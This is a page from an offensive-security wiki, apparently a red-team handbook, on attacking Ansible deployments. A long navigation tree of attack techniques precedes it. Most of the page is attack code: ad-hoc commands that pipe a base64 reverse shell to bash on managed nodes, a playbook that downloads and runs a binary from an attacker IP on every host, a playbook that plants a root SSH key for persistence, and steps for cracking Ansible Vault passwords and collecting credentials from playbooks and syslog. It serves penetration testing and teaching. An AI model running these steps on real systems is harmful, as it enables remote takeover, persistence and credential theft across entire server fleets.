Infiltr8: The Red-Book
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  • The Red-Book
  • Red-Teaming
    • Reconnaissance
      • DNS Enumeration
      • Subdomains enumeration
      • Email Harvesting
      • Host Discovery
      • TCP/UDP Service Scanning
      • Vulnerability Scanning
      • Google Dorks
      • GitHub Recon
      • Files Metadata
      • 🛠️Maltego
      • 🛠️Specialized Search Engines
    • Execution
      • Code & Process Injection
        • Loading .NET Reflective Assembly
        • Loading .NET Assembly from Windows Script Hosting
        • Process Hollowing
        • WndProc Callback Shellcode Execution
        • Fibers Shellcode Execution
        • Vector Exception Handler Shellcode Execution
        • NtQueueApcThread & NtTestAlert Shellcode Execution
        • Thread Pool Callback Shellcode Execution
        • Module Stomping Shellcode Injection
        • Remote .NET Assembly Loading through WaaSRemediation DCOM Abuse
        • 🛠️DLL Injection
        • 🛠️CreateRemoteThread Injection
        • 🛠️Reflective DLL Injection
        • 🛠️NtMapViewOfSection Injection
        • 🛠️SetWindowHookEx Injection
        • 🛠️PoolParty
        • 🛠️MockingJay
      • Code Execution
        • CMSTP
        • MSBuild
        • MSHTA
        • Microsoft Office Execution
        • Windows Script Host (WSH)
        • Outlook Home Page Abuse (Specula)
        • Powershell Without Powershell.exe
        • RegSrv32
        • Scheduled Tasks
        • Services
        • Windows Library Files
        • HTML Help Files
        • WMI
        • Script Exploits
        • 🛠️Sliver
    • Initial Access
      • Network Services
      • Password Attacks
      • Phishing
        • HTML Smuggling
        • Phishing with Calendars (.ICS Files)
        • Phishing With Microsoft Office
          • MS Office - VBA (Macros)
          • MS Office - RTF Files RCE
          • MS Office - Custom XML parts
          • 🛠️MS Office - Excel 4.0 (XLM) Macros
          • 🛠️MS Office - VBA Stomping
          • 🛠️MS Office - Remote Dotm Template Injection
        • 🛠️Phishing via Proxy
          • Adversary in the Middle (AitM) Phishing
            • EvilGoPhish
            • Evilginx
            • Muraena
            • Modlishka
          • Browser in the Middle (BitM) Phishing
            • cuddlephish
            • EvilnoVNC
    • Persistence
      • Active Directory
      • Windows
        • Accessibility features Backdoor
        • AEDebug Keys Persistence
        • Image File Execution Options (IFEO) Persistence
        • Logon Triggered Persistence
        • LSA Persistence
          • Security Support Provider DLLs
          • Authentication Package
        • Natural Language 6 DLLs Persistence
        • Run Keys Persistence
        • Winlogon Persistence
        • WMI Event Subscription Persistence
      • Linux
        • SSH for Persistence
        • GSocket for Persistence
        • 🛠️Udev rules
    • Defense Evasion
      • Endpoint Detection Respons (EDR) Bypass
        • Bring Your Own Vulnerable Driver (BYOVD)
        • Safe Mode With Networking
        • Windows Defender Application Control (WDAC): Killing EDR
        • 🛠️Load Unsigned Drivers
        • 🛠️Minifilter Altitude
        • 🛠️Hypervisor Code Integrity (HVCI) Disallowed Images
        • 🛠️Windows Filtering Platform (WFP)
        • 🛠️Userland Hooking Bypass
      • UAC Bypass
      • AMSI Bypass
      • ETW evasion
      • Living Off The Land
        • Windows Sysinternals
        • LOLBAS Project
        • File Operations
        • File Executions
      • Signature Evasion
      • Obfuscation
        • PowerShell Obfuscation
        • 🛠️Commandline Obfusaction
        • 🛠️PE Obfuscation
        • 🛠️String Encryption
      • AppLocker Bypass
      • Mark-of-the-Web (MotW) Bypass
      • 🛠️PowerShell Constrained Language Mode (CLM) Bypass
      • 🛠️Kill Windows Defender
      • 🛠️Virtualization-based security (VBS) Bypass
        • 🛠️Credential Guard bypass
        • 🛠️hypervisor-protected code integrity (HVCI) Bypass
        • 🛠️Windows Defender Application Control (WDAC) Bypass
      • 🛠️Sandbox Evasion
    • Discovery
      • Active Directory
      • Windows
        • System Information
        • Processes & Services
        • Scheduled Tasks
        • Installed applications
        • Network Configuration
        • FIle/Folder ACLs
        • Knowing your Shell
        • Security Solutions
      • Linux
        • OS Details
        • 🛠️Process & Services
    • Privilege Escalation
      • Windows
        • Tools ⚙️
        • PowerShell Logging
        • Credentials In Files
        • Abusing Tokens
        • Insecure Services
          • Weak Service Permissions
          • Weak File/Folder Permissions
          • Weak Registry Permissions
          • Unquoted Service Path
        • AlwaysInstallElevated
        • AutoLogon Registry
        • Insecure Scheduled Tasks
          • Weak File/Folder Permissions
        • 🛠️DLL Hijacking
      • Linux
        • Kernel Exploits
          • OverlayFs Exploits
            • GameOverlayFs
            • CVE-2023-0386
            • CVE-2021-3493
          • CVE-2023-32233 (CAP_NET_ADMIN)
          • Dirty Pipe
          • 🛠️DirtyCow
          • 🛠️RDS
          • 🛠️Full Nelson
          • 🛠️Mempodipper
        • GLIBC Exploits
          • Looney Tunables
        • Polkit Exploits
          • PwnKit
          • D-Bus Authentication Bypass
        • Sudo Exploits
          • Sudo Binaries
          • Sudo Misconfigurations
          • Reuse Sudo Tokens
          • User Restriction Bypass
          • Pwfeedback BOF
          • Baron Samedit
          • Sudoedit Bypass
        • SUID Binaries
        • Script Exploits
          • Python
            • Pip Download Code Execution
            • PyInstaller Code Execution
            • Pytorch Models/PTH Files Code Execution
          • Ruby
          • Bash
          • Perl
        • Scheduled tasks
          • Cron Jobs
          • Systemd timers
        • Interesting Groups
          • Lxd
        • Capabilities
        • NFS no_root_squash/no_all_squash
        • Linux Active Directory
    • Credential Access
      • Password Stores
        • Windows Credential Manager
        • KeePass
        • Web Browsers
      • Unsecured Credentials
        • Credentials In Files
        • VNC Config
        • SSH Private Keys
        • Git Repositories
        • Veeam Backup
        • Network shares
        • Network protocols
      • OS Credentials
        • Windows & Active Directory
          • SAM & LSA secrets
          • DPAPI secrets
          • NTDS secrets
          • LSASS secrets
          • DCSync
          • Kerberos key list
          • Group Policy Preferences
          • AutoLogon Registry
          • In-memory secrets
          • Cached Kerberos tickets
        • Linux
          • Shadow File
          • In-memory secrets
          • Linux Cached Kerberos tickets
      • MITM and coerced auths
      • Password Attacks
        • Default, weak & Leaked Passwords
        • Generate Wordlists
        • Brute-Force
          • Online - Attacking Services
          • Offline - Password Cracking
      • Impersonation
    • Lateral Movement
      • Port Forwarding
      • TLS Tunneling (Ligolo-ng)
      • HTTP(s) Tunneling
      • SSH Tunneling
      • DNS Tunneling
      • SMB-based
      • WinRM
      • Remote WMI
      • DCOM
      • Scheduled Tasks (ATSVC)
      • Services (SVCCTL)
    • Exfiltration
      • Exfiltration over ICMP
      • Exfiltration Over DNS
      • Exfiltration Over HTTP(s)
      • Exfiltration Over SMB
  • Web Pentesting
    • Reconnaissance
      • Subdomains enumeration
      • WAF Enumeration
    • Infrastructures
      • DBMS
        • Enum Databases
        • Read/Write/Execute
      • DNS
        • Subdomain Takeover
      • Web Servers
        • Nginx
        • Apache
          • Apache Commons Text
          • Apache Tomcat
      • CMS
        • Wordpress
        • 🛠️Joomla
        • 🛠️Drupal
        • 🛠️Bolt CMS
      • Frameworks
        • Spring Framework
          • Spring Routing Abuse
          • Spring Boot Actuators
          • Spring View Manipulation
        • Werkzeug
        • 🛠️Django
        • 🛠️Flask
        • 🛠️Laravel
      • CGI
    • Web Vulnerabilities
      • Server-Side
        • NoSQL Injection
        • SQL Injection
          • UNION Attacks
          • Blind Attacks
            • Boolean Based
            • Time Based
            • Error Based
        • Insecure Deserialization
          • .NET Deserialization
          • Python Deserialization
          • PHP Deserialization
          • 🛠️Java Deserialization
          • 🛠️Ruby Deserialization
        • File Inclusion & Path Traversal
          • LFI to RCE
            • PHP Wrappers
            • Logs Poisoning
            • /proc
            • PHPInfo
            • PHP Sessions
            • Segmentation Fault
          • RFI to RCE
        • Command Injection
        • Brute-Force
        • SSTI (Server-Side Template Injection)
        • Exposed Git Repositories
        • 🛠️File Upload
      • Client-Side
        • XSS (Cross-Site Scripting)
        • CORS (Cross-origin resource sharing)
  • Network Pentesting
    • Network services
      • DNS
      • FastCGI
      • HTTP & HTTPS
      • LDAP
      • NFS
      • MS-RPC
      • MSSQL
      • NBT-NS (NetBIOS)
      • Oracle TNS
      • RDP
      • Rsync
      • SMB
      • SMTP
      • SNMP
      • SSH
      • WebDAV
      • WinRM
      • XMPP/Jabber
      • 🛠️RPC Port Mapper
      • 🛠️FTP
      • 🛠️Telnet
      • 🛠️MySQL
    • WiFi
      • 🛠️WEP
      • 🛠️WPA2
      • 🛠️WPS
    • Bluetooth
  • Active Directory Pentesting
    • Reconnaissance
      • Tools ⚙️
        • PowerView ⚙️
        • Responder ⚙️
        • BloodHound ⚙️
        • enum4linux ⚙️
      • Network
        • DHCP
        • DNS
        • NBT-NS
        • Port scanning
        • SMB
        • LDAP
        • MS-RPC
      • Objects & Settings
        • DACLs
        • Group policies
        • Password policy
        • LAPS
    • Movement
      • Credentials
        • Dumping
        • Cracking
        • Bruteforcing
          • Guessing
          • Spraying
          • Stuffing
        • Shuffling
      • MITM and coerced auths
        • ARP poisoning
        • DNS spoofing
        • DHCP poisoning
        • DHCPv6 spoofing
        • WSUS spoofing
        • LLMNR, NBT-NS, mDNS spoofing
        • ADIDNS poisoning
        • WPAD spoofing
        • MS-EFSR abuse (PetitPotam)
        • MS-RPRN abuse (PrinterBug)
        • MS-FSRVP abuse (ShadowCoerce)
        • MS-DFSNM abuse (DFSCoerce)
        • MS-EVEN abuse (CheeseOunce)
        • PushSubscription abuse
        • WebClient abuse (WebDAV)
        • Living off the land
        • 🛠️NBT Name Overwrite
        • 🛠️ICMP Redirect
      • NTLM
        • Capture
        • Relay
        • Pass the hash
      • Kerberos
        • Pre-auth bruteforce
        • Pass the key
        • Overpass the hash
        • Pass the ticket
        • Pass the cache
        • Forged tickets
          • Silver tickets
          • Golden tickets
          • Diamond tickets
          • Sapphire tickets
          • RODC Golden tickets
          • MS14-068
        • ASREQroast
        • ASREProast
        • Kerberoast
        • Delegations
          • (KUD) Unconstrained
          • (KCD) Constrained
          • (RBCD) Resource-based constrained
          • S4U2self abuse
          • Bronze Bit
        • Shadow Credentials
        • UnPAC the hash
        • Pass the Certificate - PKINIT
        • sAMAccountName spoofing
        • SPN-jacking
      • Netlogon
        • ZeroLogon
      • DACL abuse
        • AddMember
        • ForceChangePassword
        • Targeted Kerberoasting
        • WriteOwner
        • ReadLAPSPassword
        • ReadGMSAPassword
        • Grant ownership
        • Grant rights
        • Logon script
        • Rights on RODC object
      • Group policies
      • Trusts
      • Certificate Services (AD-CS)
        • Certificate templates
        • Certificate authority
        • Access controls
        • Unsigned endpoints
        • Certifried
      • Schannel
        • Pass the Certificate - Schannel
      • SCCM / MECM
        • Privilege Escalation
        • Post Exploitation
      • Exchange services
        • PrivExchange
        • ProxyLogon
        • ProxyShell
        • ProxyNotShell
      • Print Spooler Service
        • PrinterBug
        • PrintNightmare
      • Built-ins & settings
        • Builtin Groups
          • DNSAdmins
          • AD Recycle Bin
        • MachineAccountQuota
        • Pre-Windows 2000 computers
        • RODC
    • Persistence
      • Skeleton key
      • SID History
      • AdminSDHolder
      • GoldenGMSA
      • Kerberos
        • Forged tickets
        • Delegation to KRBTGT
      • Certificate Services (AD-CS)
        • Certificate authority
        • Access controls
        • Golden certificate
      • LAPS
      • 🛠️DC Shadow
      • 🛠️Access controls
  • 🛠️Cloud & CI/CD Pentesting
    • CI/CD
      • Ansible Pentesting
      • Artifactory Pentesting
      • Docker Registry
        • 🛠️HTTP API V2
      • 🛠️Kubernetes
      • 🛠️GitLab
      • 🛠️Github
      • 🛠️Gitea
      • 🛠️Jenkins
      • 🛠️Terraform
    • Azure Pentesting
      • Reconnaissance
        • Tools ⚙️
        • Unauthenticated Reconnaissance
        • Internal Reconnaissance
      • Movement
        • Credentials
          • Password Spraying
          • Token Manipulation
            • Pass-The-Cookie (PTC)
            • Pass the Certificate (Azure)
            • Pass the PRT
        • Aazure Resources
          • Key Vault
          • Storage Accounts
          • Virtual Machines
          • Automation
          • Databases
        • Role-Based Access
        • Conditional Access
        • Service Principals & Applications
        • Hybrid Identity
          • Password Hash Sync (PHS)
          • Pass-through Authentication (PTA)
          • Active Directory Federation Services (ADFS)
          • Seamless SSO
          • Cloud Kerberos Trust
        • Cross-Tenant Access
      • Persistence
    • GCP Pentesting
    • AWS Pentesting
  • 🛠️Smart Contracts Pentesting
    • Solidity
      • Vulnerabilities
        • Delegatecall Attack
        • Denial of Service Attack
        • Overflow & Underflow
        • Reentrancy Attack
        • Self Destruct Attack
        • Tx Origin Attack
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On this page
  • Theory
  • Practice
  • Command Execution
  • Unsecured Credentials
  • Weak Playbooks Permissions
  • Resources

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  1. Cloud & CI/CD Pentesting
  2. CI/CD

Ansible Pentesting

Last updated 5 months ago

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Theory

is a powerful configuration management and automation tool widely used in DevOps to manage servers and deploy applications. However, its design and features can also make it a potential attack vector if improperly configured or abused.

Ansible operates on a "push" model, where the Ansible controller executes Modules on registered "nodes". Key components include:

  • Inventory: A list of managed nodes (targets), located on the controller server at /etc/ansible/hosts

  • Playbooks: YAML files that define tasks and automation processes.

  • Modules: Scripts used to perform specific actions (e.g., file operations, command execution).

In order to perform actions on managed nodes, a password for a node user must be stored on the controller, or the controller's Ansible account must be configured on it using SSH keys. This allows the controller to connect to the node and execute the desired modules.

Practice

Command Execution

The following methods are utilized from the Ansible Controller, requiring a user with the necessary privileges.

are simple shell commands to be run on one or more managed nodes in the Ansible inventory. They are used for one-time tasks and are not included in a playbook.

# On Ansible Controller
## Simply run
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash"

## Run as sudo
ansible <GROUP_NAME> -m shell -a "echo <BASE64_REVERSE_SHELL>|base64 -d|/bin/bash" --become

offer a repeatable, reusable way to run a sets of tasks on Ansible nodes. Playbooks are expressed in YAML format.

We can use Playbooks to execute a malicious script/binary on Ansible nodes.

The hosts field specifies the target hosts from the inventory on which the playbook will be executed. You can use:

  • Groups: Specify a group of hosts defined in the inventory file.

  • Individual Hosts: Target specific hosts by their names.

  • All: Use "all" to run the playbook on every host listed in the inventory

Simple Execution

evil.yml
- hosts: all
  tasks:
  become: yes # Delete this line if playbook should not be run as root
  - name: evil
    shell: "curl -o /tmp/evil.elf http://<ATTACKING_IP>/evil.elf && chmod +x /tmp/evil.elf && /tmp/evil.elf"
    async: 10
    poll: 0

Run the playbook:

ansible-playbook evil.yml

SSH Persistence

The following playbook acheive SSH persistence by adding a public key to the /root/.ssh/authorized_keys file

---
- name: Add SSH key for persistence
  hosts: target_hosts
  become: yes
  tasks:
    - name: Ensure the .ssh directory exists
      file:
        path: /root/.ssh
        state: directory
        mode: '0700'
        owner: root
        group: root
        
    - name: Create authorized keys if it does not exist
      file:
        path: /root/.ssh/authorized_keys
        state: touch
        mode: '0600'
        owner: root
        group: root
      
    - name: Add SSH public key for persistence
      authorized_key:
        user: root
        state: present
        key: "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr...your_key_here... user@hostname"  # Replace with your actual SSH public key

    - name: Ensure SSH service is enabled and running
      service:
        name: sshd
        state: started
        enabled: yes

Unsecured Credentials

if we are able to read Ansible playbooks, we may found sensitive data like secrets and hardcoded credentials.

We may find hardcoded credential in playbooks alongside the become directive, as it may allows Administratror to use SSH whithout keys.

- hosts: all
  become: yes
  become_user: root
  vars:
    db_user: "admin"
    db_password: "password123"

Alternatively we may directly find hardcoded credentials in shell commands

- name: MySQL_SHOW_DB
  hosts: target_servers
  become: yes
  tasks:
    - name: get db
      shell: |
        echo "Connecting to the database..."
        mysql -u admin -p'password123' -e "SHOW DATABASES;"

First check the file encrypted with Ansible Vault.

cat example.yml

# -- output --
$ANSIBLE_VAULT;1.1;AES256
62313365396662343061393464336163383764373764613633653634306231386433626436623361
6134333665353966363534333632666535333761666131620a663537646436643839616531643561
63396265333966386166373632626539326166353965363262633030333630313338646335303630
3438626666666137650a353638643435666633633964366338633066623234616432373231333331
6564

We can use ansible2john to generate the hash to make it crackable.

ansible2john example.yml > hash.txt

Then crack this hash using John The Ripper or Hashcat.

john --wordlist=wordlist.txt hash.txt
# or
hashcat -a 0 -m 16900 hash.txt wordlist.txt

After cracking and retrieving the passwrod, we can use it to decrypt the file as below.

ansible-vault decrypt example.yml --output decrypted.txt

When Ansible operates on a host, some modules will attempt to log their actions to /var/log/syslog. This log includes the module name and the arguments passed along to that command, which could include secrets or credentials.

Some playbooks may mitigate the risk of sensitive data being logged in syslog by using the no_log: true option in tasks.

We may therefore find sensitive data on ansible nodes by looking at the /var/log/syslog file.

cat /var/log/syslog

Weak Playbooks Permissions

If we discover a playbook on the Ansible controller with write permissions or can exploit vulnerabilities to gain such access, we can modify the playbook to insert malicious tasks. These tasks will then execute during the next run of the playbook, potentially allowing us to escalate privileges, exfiltrate data, or deploy additional backdoors.

Resources

is a feature that allows users to encrypt sensitive data within playbooks. However, we may be able to decrypt the file with password or by cracking hash to retrieve password.

🛠️
Ansible
Ad-hoc commands
Ansible Playbooks
Ansible Vault
LogoAnsible Vault Secret | Exploit Noteshideckies
LogoProtecting Your Secrets with AnsibleMedium
LogoAnsible | Pentester's Promiscuous Notebook